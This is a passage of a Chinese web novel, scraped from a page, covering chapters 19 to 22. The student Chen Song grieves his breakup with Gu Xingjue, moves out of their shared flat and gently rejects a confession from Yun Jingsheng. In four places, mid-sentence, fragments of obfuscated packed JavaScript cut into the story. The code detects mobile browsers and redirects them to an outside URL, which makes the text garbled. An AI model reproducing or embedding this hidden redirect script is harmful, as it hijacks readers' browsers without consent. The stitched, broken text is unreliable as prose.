可现实好像不断在验证着一句话,期望越大失望就越大。 陈颂曾把自己的期望放在陈升平和母亲身上过,但无尽的失望让他知道,有所期望是他生活的大忌。于是自小就悲观,敏感,内敛,直到如火一样直白燃烧的顾墨出现。 陈颂犯了自己的大忌,结果就是再一次被世界抛弃。 每次偶遇时顾行决冷漠的眼神都深深刺痛了他,顾行决视若无睹的目光似乎抹杀了三年里一切的甜蜜。一遍又一遍的偶遇似乎在重复地宣告,顾行决和他天壤之别,从来都不是一个世界里的人。 陈颂复杂的情绪全涌向胃,此时胃里翻江倒海直想吐,根本没胃口去吃东西。 即使如此,陈颂还是强忍不适,在厕所洗了吧脸,出去了。手上浸满冷水,冻得白皙的手指紫红。 陈颂没拿纸擦干,任着湿冷的水冻着,似乎这样就能清醒些。 陈颂返回休息大厅前还一直深呼吸,一直垂眸在心里暗示自己不要到处乱看,他没有勇气再对上顾行决冷漠的目光。 他几乎是沿最角落走的,此时赶上中午,又是周末,人流量挺大。陈颂在喧嚣中小心翼翼前行,目光落在光洁的地板上却无法聚焦。因为他还是忍不住去在意。 陈颂走得再小心,还是磕磕绊绊撞到不少人了,最后被人用力抓住了。 陈颂的心跟着猛地一惊,呼吸都停滞了,一瞬间想抬头看是谁,可传来的声音又让他将要转去的头一顿。 “会长,在这边。”汪宇安说。 陈颂嘴角轻轻动了下,点点头:“好。” 汪宇安眉间轻皱,刚才就远远看见陈颂一直低着头在人群里走,现在看上去又很颓丧,嘴唇还有些白,总之看上去非常不对劲。 汪宇安担忧问:“会长,你怎么了?不舒服么?” 陈颂深吸一口气,看向他,缓缓挤出一个艰难的微笑:“没事。胃病小问题。吃点饭就好了。” 汪宇安点点头,拉着他走:“那快去吃点,菜都上了,给你留不少。” 陈颂跟着汪宇安穿过餐厅,进了间包厢,包厢内的环境古典优雅,一大片落地窗能一眼望尽雪景,美不胜收。 包厢宽敞,以几棵假桃花树装饰着,中间摆放一张容下十来人的圆桌。桌上坐满了人,基本都是各个部门的部长,见陈颂来了纷纷打招呼。 “会长快来吃!再不来都要给我们吃光了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379786|184099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “会长我可你留着不少吃的呢,不像他们这些白眼狼!” “哎哟,好不容易给你们这群马屁精拍上了。” “谁拍了,我一片真心,天地可鉴!” 也许是今天团建的气氛太欢快,平日里鲜少和陈颂开玩笑话的部长们今天都分外活跃。 陈颂礼貌地微笑入座,他座位上的碗碟里盛满了菜。 叶佳佳此时笑呵呵对他说:“都是为师和你师弟给你留的。虽然你滑雪上没什么造诣,但为师不会亏待你的。” 陈颂勉强被她逗笑,笑起来依旧那么苦涩:“谢谢。” 汪宇安坐在叶佳佳身边幽幽地道:“还不都是我夹的。” 叶佳佳此时喝了点小酒,有些微醺指着汪宇安道:“大胆!那还不是我发号的时令。一个团队好不好都是看领导者的好不啦。” 叶佳佳说话声音大了些,引得桌上其他几个部长取笑:“佳姐你是不是醉了,就这酒量。” 叶佳佳反驳:“鬼啊!老娘千杯不醉,来笔画几下啊!” 叶佳佳说着就举起酒杯,正要彰显实力,酒杯就被旁边一只手捉走。 汪宇安小声道:“你还是别喝了,下午还滑不滑雪了。” 叶佳佳这才作罢,但不忘瞪汪宇安一眼,汪宇安只是笑笑给她继续夹菜。 学生会内历届的传统是不许内部谈恋爱,这不知是哪一届定的规矩。陈颂作为会长,对于这方面的事也不管束,几个部长也都心照不宣,只要不明面上太过分就都睁一只眼闭一只眼。 大家对叶佳佳和汪宇安都心中肚明,平时不敢随便挑破调侃,今天兴致来了,宣传部,汪宇安的部长首先喊了:“汪宇安你这是要替佳姐挡酒啊!” “对啊对啊!”众人起哄。 叶佳佳嚷嚷:“叫什么啊,你们想死啊,乱讲。” 汪宇安没回话,默默地握起方才的酒杯一饮而下,气氛瞬间被点爆。 “卧槽!叛徒啊啊啊啊!!”宣传部部长大叫一声。 欢呼声,起哄声连绵不绝,在陈颂耳边震耳欲聋,他看向那二人。 叶佳佳不断拍打汪宇安,嘴里虽然骂骂咧咧的,但脸上全是少女的羞红。而汪宇安只是笑笑,满眼宠溺地看着她。 陈颂喉结一哽,眼睛有些酸涩。 这可能就是他想要的爱情的模样吧。 这就是一段健康的关系。 陈颂碗里的菜几乎没动,他放下筷子,收回艳羡的目光,看向窗外的雪景。 尽管雪地里已经有不少人,但陈颂还是一眼就看到了顾行决。 方才进门陈颂就不敢看窗外,一直到此刻,他不知道哪来的勇气去看。或许是他现在的心出乎意料的冷静。 与其说冷静,更像是被伤透了的心,如一片死水。 雪地里那抹鲜艳的红色身影正双手扶着另一抹红色身影,两具身体在雪地里缓缓移动。阳光洒在他们身上如此明媚,天空如此晴朗。 陈颂眼里忽然涌上热流,他仓皇地垂下眼皮,几颗泪珠悄无声息地打在碗里。周围的欢声笑语他都听不见。 明明做好心理准备去看了,可心还是忍不住一抽一抽的疼,心里的那片死水像有人不断在拿石头砸进去。 窒息感,手脚发麻的感觉又缓缓蔓延而来。 陈颂匆匆掩盖落泪的痕迹,拿起筷子大口大口的开始吃菜。很好吃的菜,每道菜都十分美味,可为什么越嚼他越想吐,越吐他越想塞,直到他满嘴被塞得呛到了,满脸憋得通红。 这时吵闹的包厢慢慢安静下来。 汪宇安连忙拍他的背,给他顺气,给他递水:“慢点慢点会长。” 叶佳佳道:“饿过头了吃这么快,不用急的,被他们抢完了还能继续再点。今天消费都是免费的。” 陈颂此时感到异常窘迫和失落,忙摆摆手,稍微好了些他站起身道:“你你们吃,我,厕所。” 汪宇安跟着起身却被陈颂拦了回去:“不不用,你们继续。我没事。” 汪宇安只得站在原地道:“好吧。” 部长们关心叮嘱了几句后,陈颂走了。 他跌跌撞撞逃到厕所,强忍的不适感在此刻爆发,方才吃的所有东西都吐了出来…… 19. 钥匙 陈颂在厕所吐得浑身虚脱无力,心总是慌慌的,万蚁啃食般的痛感让他恐惧。他没回包厢,收拾好东西回到大巴上等着。 陈颂好几个晚上都没睡过好觉了,此时破天荒的睡意挡都挡不住,可能是太累了,哪哪都太冷了。他在睡前拿手机给叶佳佳发了消息,说身体不舒服就现在车上等他们了。 叶佳佳那边也回的很快:那你好好休息。那待会拍大合照你能来么,就拍张照很快的。 叶佳佳随后直接发了条语音:“我们要结束的时候拍,你先休息会,待会还是得来啊。你可是主角。” 陈颂回复:好,我睡会,好了打电话给我 叶佳佳:ok 陈颂这一觉睡得浑浑噩噩的,梦到自己滑雪,在一个莫名其妙的山崖摔下去。惊醒时叶佳佳的电话也来了。 陈颂惊魂未定,身上起了一层冷汗,喉咙干涩地深呼吸着,黄昏的光落在他半只眼睛上,有些刺眼,他眨了眨眼睛,才看清周围的景象。 大巴车内被黄昏的光分得明暗鲜明,窗外白茫茫的雪地如同溺在橘子海里。 手机铃声渐渐清晰地穿过耳膜,恍惚间让陈颂回想起顾墨无数次出现在家门口的情景,直到铃声停止他才回过神。 拿起手机一看,只有叶佳佳的来电和消息。 陈颂回:我来了。 陈颂擦了擦汗,收拾一下出发了。刚下车扑面而来的冷风让他打颤。陈颂冻得骨骼都在发抖,接近傍晚的山风太凶太冷。 陈颂走到的时候,雪地里还有很多人,最热闹的一群就是他的部队。 大部队已经整齐地排列好,万事俱备就差陈颂,中间给他留了一个空位,大家对他招手:“这呢,陈颂!” 陈颂心中那股郁结的情绪好了些,也许是好久没得到的睡眠补上了,也许是风吹的,也许是有这么多人都等着他。 陈颂脸上难得漏出一个笑容,很轻,他快步走到那个空位上,肩上不知何时多了几只交叠的手。他看向早已架好的相机。 宣传部部长按下快门后,飞快回归队伍,并一起和大家倒计时:“10.9.8.7……” 几张大合照结束后,陈颂又被拉着拍了几张合照。会长大人难得温柔,众人一拥而上都要合照留念。 雪地里,陈颂穿着白色高领毛衣和灰色大衣,白肤胜雪,额前的碎发微湿几小撮,漏出光洁的额头。寡淡清冷的脸难得笑着,黄昏揉碎温暖撒在他身上,显得无比清隽俊美,让人一眼就无法移开目光。 “看这么入迷,也想上去合照?” 餐厅二楼的落地窗前冷不防响起一道声音,瞬时让顾行决的脸更阴沉几分。 顾行决转身无视谢砚尘的戏耍,走回餐桌前坐下,双手交叠餐桌上。 “这人笑起来还挺好看的,怪不得迷你三年。”谢砚尘站在窗前继续看着雪地里的陈颂。 顾行决兴致缺缺地玩弄着酒杯,冷哼一声:“笑比哭难看。” “谁啊?”程颂此时刚进包厢。 谢砚尘转过身来挑眉看他一眼,走到顾行决身边坐下:“他说你。” 程颂脸上有一丝尴尬,走到顾行决身边坐下:“真的么,我才不信。” 谢砚尘笑了声:“真的啊,说的不就是陈颂么” 程颂摆弄餐具的手一僵,脸上一瞬间失去明朗,看了眼顾行决随后又恢复些神色,一边继续摆弄着餐具,一遍看向窗外雪地里的人。 “是么。”程颂语气里有些不屑,“我笑和哭都好看呢。是吧阿决?” 顾行决不置可否,冷着一张脸的时候看起来很不好接近,漫不经心地摇晃着酒杯的模样专注又迷人,慵懒的神情似乎陷入某种回忆...... —— 学生会第一次全员团建顺利结束,拍完照的众人陆陆续续整理完东西上了大巴。 经过一天的运动,众人已经疲惫透支。叶佳佳看向一片颓靡,弯着腰虚弱地说:“要不咱们把散伙饭往后移一下吧。还是历届老时间怎么样,家人们?同意的举手。” 疲倦的众人此时不知哪来的活力齐刷刷举手,全票通过这个人性化的提议。 大巴环山而下,寂然无声的车内轻轻响起几阵睡鼾。一车的人只有陈颂没睡。 最后一排只有陈颂一个人坐着,他偏头抵在玻璃窗,目光悠远地望着橘黄色的夕阳消沉,静谧的暮色缓缓蔓延。无处安放的心被一双无形的手提到嗓子眼狠狠捏紧,熟悉又恐惧的窒息感再次淹没全身。 犹如冰凉刺骨的冰河贯穿全身,从陈颂的心连带着四肢百骸都在颤栗。 他很讨厌这种深陷不安的感觉,可情感不受控制,现实无法逃避,清醒紧绷的线快要断裂了。美好回忆反复浮现脑海,过去多美好,现在多痛苦。 这么美的黄昏让陈颂想起顾墨骑车带他环山看日出的时候。 眼角的泪为什么突然滑落,眼前的暮色如此模糊,灰黑一片的深渊笼罩着。 脑海中挥之不去的又变成顾行决和别人暧昧的画面。 近乎崩溃的状态一直持续到大巴到站,陈颂将如洪水般的情绪全都压了回去。众人累了一路,到站后有气无力地撤退。 陈颂坐在最后一排,等人走光后才下车。 叶佳佳作为负责人在门口等着。身旁站着帮她拿行李的汪宇安。 叶佳佳见陈颂有些红肿的眼睛,不自觉揉了揉自己眼睛,有些不可置信:“不至于吧会长大人,你感动得落泪了?” 陈颂下车的脚步一颤,险些崴了脚,他垂眸没看叶佳佳,强扯出一抹笑。 叶佳佳拍拍他肩膀:“我是不是说过很有意思了!以后要多多跟我们团建啊,嗯,虽然也没有什么以后了。平安夜的聚餐你也必须得来,吃完饭后去k歌喝酒,都是老节目了。” 陈颂点点头,答应了。 叶佳佳有些欣慰地笑笑:“想不到咱们会长大人是个感性的人啊。好了好了,快回去休息吧,我们也先走了,回见。” 冬夜的风刺骨,陈颂站在冷风中看了会叶佳佳和汪宇安离去的背影,羡慕的红了眼。 陈颂回到宿舍,刚开门就被一股刺鼻的烟味呛得咳嗽。云雾缭绕的宿舍内混杂着打游戏的声音,室友在和人对骂。 陈颂走过他,回到自己桌前,卸下背包,从抽屉里取出一张黑色的卡和一把钥匙。他握紧黑卡和钥匙,饱满的指腹嵌在齿轮里,扭曲着泛白,失去血色。 像是下了很大的决心,陈颂才把钥匙和黑卡放进衣服内侧的口袋,拉上拉链,出了宿舍。 陈颂扫了共享单车开回那个熟悉的小区,不新不旧,不大不小,住在里面的都是普通人。 这是陈颂和顾墨住了三年的房子,准确来说是陈颂住了三年,顾墨回来的天数加起来说有三个月都够呛。 陈颂开门而入,干冷的气息扑面而来,漆黑的房子里有熟悉的木质香。 味道总能在人防不胜防时唤醒起大量回忆。 陈颂开灯,环顾屋内,心中涌上难以言状的情绪。他深呼吸几口气,走进卧室,把衣柜里的衣服全都理在行李袋里,随后又将屋内一切能带走的东西都理了出来。 陈颂打开床头柜,里面躺着一个矜贵的黑丝绒盒,一条早已编好还未去祈福的红绳手链,一本日记本。 陈颂拿起黑丝绒盒打开,银晃晃的对戒灼烧着双眸。陈颂看了良久,久到眼睛酸涩才仰头闭目,深深呼出一口气。 三年撕心裂肺的爱意已然融进骨血,怎么能说放下就放下呢? 陈颂心中冒出一个不争气的念头,这个念头一旦产生就无法回头,他的心沉重有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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泪水模糊了视线,只有那模糊耀眼的光芒依旧存在。 顾行决说要把房子卖了,这给陈颂带来的伤痛是远大于顾行决今晚不来的,是远大于顾行决和别人接吻的。 为什么,为什么要把房子这么轻而易举的卖了。为什么他能如此轻松的抽离。 只是因为他在这个房子里生活的时间远不足三年吗?就像他为这段感情付出的精力永远比不上自己的冰山一角么? 陈颂抬手摸去眼泪,把戒指放回黑丝绒盒里,将黑丝绒盒放回抽屉,关上抽屉,把钥匙和黑卡放在餐桌上,起身拉着行李箱走了。 对戒,红绳,日记本,钥匙,房子,关于顾行决的一切都不要了。 这是陈颂第一次爱人,失恋的感觉让他心如刀割。 每日学业繁忙依旧,可过往种种回忆如同被陈颂残忍杀害的怨灵,苦苦纠缠,叫嚣。是剧毒齑粉钻入体内厮杀细胞,他疼得鲜血淋漓又无法挣脱。 每到深夜,思念就如泉涌,陈颂每每指尖徘徊在手机屏幕上的“墨”字,身体里就有两股矛盾的情绪激烈搏斗,超负荷的精神斗争几乎要将他的身体压垮。 他吃不下饭,睡不着觉,呼吸艰难,精神无法集中顾行决之外的事。实验出错,报告出错,学生会活动出错,所有所有都被交的稀巴烂。 陈颂就像一棵枯竭的树。 只要一通电话,听到顾行决的声音,就能让他活过来。 顾行决是他的水源,如果打通这个电话,陈颂也许能再一次降低底线地去挽留。 可尊严的理智还是战胜了,即使痛不欲生,陈颂还是没有打这通电话。 20. 和我试试吧 这像戒断反应,开始最困难,时间久了就会慢慢习惯。 陈颂早就该习惯的,他和顾行决的曾经又算不上如胶似漆,形影不离。这段时间也在慢慢戒断,只是每当生活过得好了些,顾行决又突然出现在他的世界里来打乱一切。 若是这样的话,陈颂愿意一辈子逃避他,时间总会治愈一切的。 生活依旧,依旧生活。陈颂在不断的自我调整中熬过了一周。这周周末打算哪都不去,待在学校的图书馆里学习。 临近学期末,大学生将迎来学科综合考试,是故来图书馆的人很多。 陈颂早上六点就来站了座位,桌上摆满各专业课的书本。他一头扎进学习里,从白天学到黑夜,中间没吃饭,除了偶尔会有几个瞬间思绪飘远,其他时间一直处于全神贯注的状态。 一整天都没吃东西,深深的饥饿感在胃里叫嚣。陈颂心里上不饿,也就是没胃口,可他的身体一直在反抗,宣告着饥饿。这些天陈颂一下瘦了很多,但他自己全然不知。 此时胃已经饿痛了,不停的打咕噜,打破了即若无声的图书馆。即使图书馆里大部分学习的人都是带耳机的,但陈颂还是有些尴尬。 在不停的咕噜声后,他旁边的一位女生转头对他说:“大哥,别这么卷吧。别饿着孩子了。” 陈颂:“……” 陈颂立马收拾东西去吃饭了。 刚起身还有些头昏眼花,坐太久腰酸背痛。陈颂感觉自己像个坏掉的机器人,都快散架了。 京市冬夜的风异常刺骨,陈颂抱着书刚出门就被冻得一惊。原本劳累昏沉的大脑顿时清醒不少。 图书馆前栽着两排长长的红梅,枝丫凛风而颤,花瓣缓缓飘舞。中间的沥青路上有不少情侣散步,画面浪漫也唯美,艳羡旁人。 陈颂此时脑海里响起一个无奈的想法,要是他喜欢的是女生,会不会结果不一样。但又转念一想,还是算了吧,就算他遇到了好女人,跟着他也只会吃苦。 陈颂收起那些乱七八糟的想法,将怀里的书抱得往上些,挡住灌进脖里的风,垂眸收回目光下了台阶。 往食堂去的路上有个咖啡馆,陈颂随眼一望就看到了云景笙和一位女学生走了出来。 那个女生是黄茜,隔壁班的班长,陈颂偶尔有些年级上的事跟她打过交道。她的各科成绩也十分突出和优秀。 陈颂大概知道二人在一起的目的是什么了。上次云景笙跟他说的,选去若阳实习的人里也有她。 二人手里都拿着一杯咖啡,欢笑谈论着什么,看起来很对话很融洽。二人转头抬眸看向前方的一瞬,都看到了陈颂。 云景笙率先打了招呼:“小颂,这么巧也在这。” 陈颂眼底吊着青黑,又瘦了不少。黑发在冷风中有些凌乱,灰黑的双眸底下藏着难以言说的忧愁。云景笙很轻地皱了下眉,看向他怀里捧着的一大摞书,清白修长的手上还多了一条长长的疤痕,看得让人心疼。 云景笙眼神示意他的书:“来图书馆学习的?” 陈颂点点头:“嗯。”他礼貌地扬起一个微笑,看向黄茜算是眼神给她打了个招呼。 黄茜笑得很大方:“我可听云教授说了,我们很快就是同事了。没想到在学校偶尔一起处理事情,以后还真成同事了。” 陈颂眯了眯被风吹涩的眼:“嗯。” 其实他不知道该说些什么,他一向沉默寡言,和黄茜也算不上熟,二人也就工作上有些简单的交流。 所以在闲聊起别的话题时,他总能一句话简单几个字终结话题。 云景笙看出他的内敛:“别在风里站着了,黄茜你先回去吧。我跟陈颂还有些事情交代。” 黄茜道:“好的云教授。” “拜拜。”黄茜朝二人挥挥手离开了。 等她走得远了些,云景笙上前一步离陈颂近了些,温和又带着些许心疼的目光在陈颂脸上游走,最后落在陈颂深灰的双眸上,与他对视:“这才几天没见啊,陈颂。” “你都不睡觉么,怎么比熊猫还能熬。是要修仙么,饭不吃觉不睡。我真的不信一个大学生有这么忙的。” 陈颂敛眸没说话,肚子却先打起咕噜,像是在附议云景笙说的话。 陈颂忽然笑得有些苦涩:“我正要去吃。” 云景笙颇有些无奈:“你知道现在几点。别人吃夜宵的时间你吃晚饭。” 陈颂反驳不了。 云景笙:“一起吃吧。我要吃夜宵。一边吃一边聊后续进若阳的事。” 陈颂说好。 云景笙没在学校食堂吃过,让陈颂带他去吃陈颂认为最好吃的饭菜。陈颂便领着他去餐厅二楼吃麻辣香锅。 这个时间点,麻辣香锅所剩的菜品已经不多,肉类基本没有了。陈颂口味偏向素食,想吃的那几样都还有些。于是问云景笙:“有你想吃的菜么。抱歉,这个点没什么菜了。” 云景笙倒是不介意:“有你喜欢的么?” 陈颂:“有吧,我吃菜比较多。” 云景笙:“给我来一份跟你一样的菜色。不用太多,我稍微吃点就好不是很饿。你得多吃点。” 陈颂犹豫:“其实还可以吃别的,别家也有好吃的。” 云景笙道:“没事,就吃这家吧。这个时间点其他家也一样。” 陈颂见云景笙如此坚持,只好依言给云景笙点了一份一样的。 二人找了一个偏角落的位置坐下,闲聊几句店员就叫号了。 陈颂没拿公共筷,跟店员要了两双一次性筷子。 陈颂拆开塑料袋,将筷子一分为二,相互搓了搓递给云景笙。 云景笙接过问:“搓一搓是会更好吃吗?” 陈颂又拆开新的塑料袋,将刚才的动作重复一遍:“会吧。” 他说着微微扬起唇角,“其实只是为了扫开木屑。公共筷没那么卫生,一次性筷好些,就是可能木屑会扎手。” 云景笙夹起一朵西蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈颂握着筷子的手紧了几分,非常缓慢又艰难地咬了咬嘴里的饭。压抑好几天平静的情绪只是表象,此时顷刻间涌出。 灰色的深眸染上猩红的热泪,豆大的泪水一滴滴落下。他僵硬的嘴角艰难地抽动了下,牵出一抹酸涩的笑:“我和他已经断了。” 云景笙一怔,拿纸巾想给他擦泪,陈颂却避开,只是接过纸巾自己擦了。 云景笙还在陷入些许惊讶当中。他惊讶的不是陈颂和顾行决的分开。他们的分开是必然的,云景笙惊讶的是陈颂此时滚滚而下的泪,以及他有些绝望的情绪。 陈颂使劲擦了下眼泪,片刻后压制住了情绪,扯着干涩的嗓音道:“抱歉,这段饭又吃成这样。你不是说有事找我交代么。是什么事。” 云景笙没有回他这个问题,而是正色道:“陈颂,经过这一个多月的相处。我相信你应该对我的性格也有所了解。我自认为是个成熟的人,能成为一个何格的爱人。可以给予关怀与爱。能够给爱人最忠诚最专一的偏爱。” “放下一段感情最好的方式就是接受另一段感情。我不是那些小毛孩,不会随便玩玩,和我试试吧。” 21. 无法忘记的你 餐厅二楼只有寥寥数人,各个档口也陆续打烊。来往走动的都是食堂阿姨在收拾碗筷,清理餐盘。 陈颂在云景笙的话里久久不能反应过来,大脑如同超核的程序瞬间宕机。 陈颂不是一个迟钝的人,云景笙对他有意思早在前段时间就隐约感觉出来了。云景笙也主动表达过,陈颂也拒绝了,他当时确实还无法这么快接受一段新感情。 那次过后,二人的关系也如以往,没有更进一步的发展,陈颂有意避嫌,云景笙也没有刻意接近。 陈颂在这些天经历过顾行决的打击后,也想放下他了,所以今晚才会同意和云景笙一起吃晚餐。陈颂想尝试着接触的。云景笙却出乎意料地说出了这段话,算是表白......吗? 如此坦诚,坚定的承诺,这是顾行决从未做过的。 陈颂心中的情绪很复杂,有些动容,动容竟然有人能这样为他做出承诺,尽管在他拒绝过的情况下还是选择他。也有些不安,云景笙也和他不是同一个世界的人,怎么能有结果呢? 又是一样的情况,什么事情都能让陈颂想到顾行决。 尽管他已经有意去尝试接触新的环境,新的活动,新的人,新的关系,可他还是忘不掉顾行决啊。 无法忘记的你......该叫人怎么办才好呢? 陈颂沉默很久,清秀的眉宇拧作一团,双手紧紧握住木筷,神情纠结,痛苦,无奈。 云景笙也没说话,只是静静地在等他思考。 “你们还吃不吃了?”路过的食堂阿姨打破了这段沉重的气氛,“餐厅快关门了,孩子们。” 云景笙将碗往前一推:“我好了阿姨,我们知道了。他的待会我们自己端过去。” 阿姨收走云景笙的碗:“好的,你们快点啊,待会别被锁餐厅里了。前两天就一对小孩儿被锁了。” 云景笙微笑回应道:“知道的阿姨。” 食堂阿姨走后,云景笙对陈颂说:“再怎么吃不下,为了身体健康着想尽量吃点吧。别的事吃完再说。” 陈颂沉默着重新动筷,艰难地将已经凉了的食物吃了下去。大概吃了三分之一的样子实在吃不下去了二人才离开。 陈颂开始有些意识,在意到身体确实出了些问题。而且这样一直浪费食物也不是很好。 二人吃完饭后,云景笙送他回宿舍。 在路上,云景笙没再说方才的事,而是谈论起实习的事情。 “你们这学期大概在明年1月初结束。实习正式开始时间是3月1号。也就是还有两个月差不多的时间休息。实习申请表我会在下周发给你们,填完给我就可以了。”云景笙与陈颂并肩走着,二人间隔了一小段距离。 “今年过年你回家么,还是留在京市?” 接近十一点的寒风割裂着皮肤,冻得陈颂暴露在衣服外的肌肤异常冰冷。他其实是个很怕冷的人。 陈颂抱紧书本,把双手往衣服里钻了钻:“不回。” 他的话语总是清清冷冷的,和他这个人一样,听不出什么温度,总透着一股淡淡的阴郁。 陈颂哪里还有家,哪里都没了。 南城温市的家在十八岁前的一个星期没了,北城京市的家在和顾行决彻底决裂后也没了。 他又变回了那个被世界遗弃的孩子。 云景笙道:“那你是留在这么。” 陈颂:“嗯,留这打工。” “你呢,”陈颂问他,“下周交了表格就要回临市了么。” 云景笙笑了下,温热的白雾从口中散了开来:“你在舍不得我么?” 陈颂很轻地眨了下眼皮,在原地停了下来。 云景笙还在往前继续走着,注意到陈颂的落后,他也停了下来,回过身看去。 沥青大道被昏黄的路灯照的凄凉,陈颂额间碎发被风吹动着,一双情绪很深的灰眸看着自己。路灯将他的皮肤映得白亮,拉出一道很长很长的影子。 “景笙哥,”陈颂的嘴唇小弧度动着,“我们不是一个世界的人。很抱歉,我......” 云景笙的神情不变,眉眼更加柔和了几分,轻浅的琥珀色眼眸底下藏着一股苦涩又无奈的情绪,他说:“陈颂,我其实是个孤儿,从小在福利院长大的。” 陈颂惊愕地缓缓放大双眸,有些不可置信地看着云景笙。 云景笙一袭呢绒大衣,有着上流人士的儒雅矜贵。若不是他眼底溢出的落魄情绪,陈颂很难相信他说的话。 这让陈颂顿时想起来,当初在网络上搜索云景笙的信息却一条也没有。 这样的话就有些说通了。再者,云景笙也不可能骗他。 云景笙继续道:“我是被云家领养回去的,说的话,言不由衷,做的事,身不由己。我的身份只是名义上的,本质上我还是那个孤儿。” “你现在还觉得我们不是一个世界的人么?”云景笙郑重地问着,随后又很轻地笑了下,“也有可能,因为你是有家庭的,而我只是个......” 陈颂立刻开口将云景笙妄自菲薄的话制止:“不是的,我没有这个意思。” 陈颂深深叹了口气,垂眸半晌才道:“景笙哥,我不想耽误你。也许放下一段感情最好的方式真的是开启另一段新的感情。可我还是无法做到,在心里还没......就和你在一起。这样对你不公平。我也会愧疚。” “抱歉......” 云景笙沉默了片刻道:“你不用跟我道歉,是我太着急了。没事的,我会一直在。我等你心里给我腾地方。” 陈颂不知道说些什么,他没有把握以后的事,也无法轻易做出承诺。 云景笙笑着转身往前继续走:“走吧,夜里冷,快点回去休息。” 二人到宿舍楼下后,做了简单的告别,云景笙便走了。 宿舍楼里没有电梯,陈颂爬上七楼,没有回寝室,走到走廊最末尾的窗户前站了良久。 打一通电话吧,最后一次了。 这是最后的机会了。 陈颂的心不禁慌乱起来,僵硬的指尖在手机屏幕上停顿了很久很久,久到宿舍断电,走廊所有灯都熄灭。漆黑的环境里只有微弱的手机屏幕亮着光。 窗外的皎皎月色透过窗户洒进浅薄的月光。寒风不断侵袭,陈颂浑身血液却异常沸腾。 终于,他拨通了电话,忐忑地贴在耳边倾听那一阵阵电话铃声。 眼前闪过无数个夜晚顾墨出现在家门口的样子。 陈颂的心脏随之猛烈的跳动起来,像是一股热火从胃里一直灼烧至咽喉。那是他期待的证明。 电话铃声的尽头是机械的女声,宣告着期待的破碎。 陈颂深呼吸好久,又打了一通。 依旧没接。 第三通,还是没接。 第四,五,六,七........回应他的永远是那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾行决接电话了,然后呢,就算和好了以后呢,重蹈覆辙,周而复始。 陈颂抹了一把额头出的汗渍:“喝醉了,打扰到你了,是我不对。” "喝酒?你还学上喝酒了?你跟谁去喝的。"顾行决的声色低沉了下来,“行啊你,离了我后又是出去滑雪,又是出去喝酒的,你倒是潇” 陈颂按了挂断电话。深吸一口气,坐起来,看了看手机才早上六点多。 他现在头很疼,脑子有些混乱。 如果能接通电话的话,陈颂是想再最后鼓起勇气挽留一次的。 可今早的这通电话来了时,他却说不出了。 为什么,难道是因为已经错过了最好的机会么?还是顾行决的话语总是尖酸刻薄的,勾起的那些记忆中的画面都是那么的刺痛。 陈颂静静地看了眼手机屏幕,过了很久很久了,久到他眼睛酸涩,顾行决也没有再打来一通电话。 手机屏幕上,最新一栏的来电显示的次数和第二栏拨打的次数形成鲜明的对比。 陈颂想挽留,顾行决一直往前走。 陈颂熄灭手机后起床准备去图书馆。他知道自己睡不着的。 只有一味的学习,学习,再学习来麻痹自己。 今天是周一,陈颂在图书馆学习一个小时后就去上课了。 今天的课依旧很满,陈颂不觉得累,反而充实。所有课程接近尾声,老师们都在讲期末考核内容以及期末作业。 陈颂百忙之中还要抽空管学生会换届选举等重大事宜。难得忙得没那么经常想起顾行决了。 周四这天在学生会刚完成第一次换届选举,结束后叶佳佳找他说:“明天平安夜,有聚餐,你得来。” 她的语气不容拒绝。 陈颂道:"好。" 22. 最后的 平安夜赶上周五,对于大学生来说是个更应该出去庆祝的理由。 本周五陈颂只有早上有课,下午闷在实验室做期末作业。日落下沉,陈颂终于做完实验数据,就差完成最后的实验总结报告。 实验室内只有陈颂一人。准确来说,整栋教学楼只有他一个学生。陈颂上的学校只是普通二本,很少有学生会在周五又赶上平安夜这个时间耗在学习上。 陈颂虽在这所大学上学,但本质上他是有重点一本大学的实力的。只源于那年初夏家里的巨变。 陈颂放下解刨工具,把手术台清理干净,摘下手套,口罩,帽子。仰头闭目长舒一气,扭动脖子时发出关节碰撞的声响。 此时手机传来一声讯息。是叶佳佳发在学生会总群里的定位地址。 【文艺部部长叶佳佳】:@全体人员所有人在晚上六点半准时到达,输了的人罚酒,迟到一分钟一杯 陈颂捏捏眉心,他没喝过酒。都说一醉解千愁,陈颂思考着要不要今晚试试。但他不会以迟到的方式,他是一个时间观念很重的人。 直到顾行决的出现,打破了很多规则,许多底线。 经常性的迟到,旷课,请假......都是因为顾行决。 怎么又想到顾行决了呢......陈颂沉重地叹息,用力揉着太阳穴。 现在是傍晚五点多,叶佳佳发的地点离学校很近,陈颂准备先回宿舍洗个澡。做过解刨实验后,他身上全是血腥味。 陈颂洗完澡换了一套衣服,他怕冷,里层套了保暖内衣和小马甲,再叠穿一件灰毛衣,外面套上纯白羽绒服,衬的面色更加清冷。 寝室里只有蒋双一个人还在打游戏,蒋双瞥了陈颂一眼,有些悲惨道:“就留我一个人啊你们,都有约会么???” “你们这两个重色亲友的出生啊啊啊啊......”他说着吸了口咽烟,悲伤地佯装哭泣。 陈颂不自觉屏住呼吸,回答地有些敷衍:“我去学生会聚会。” 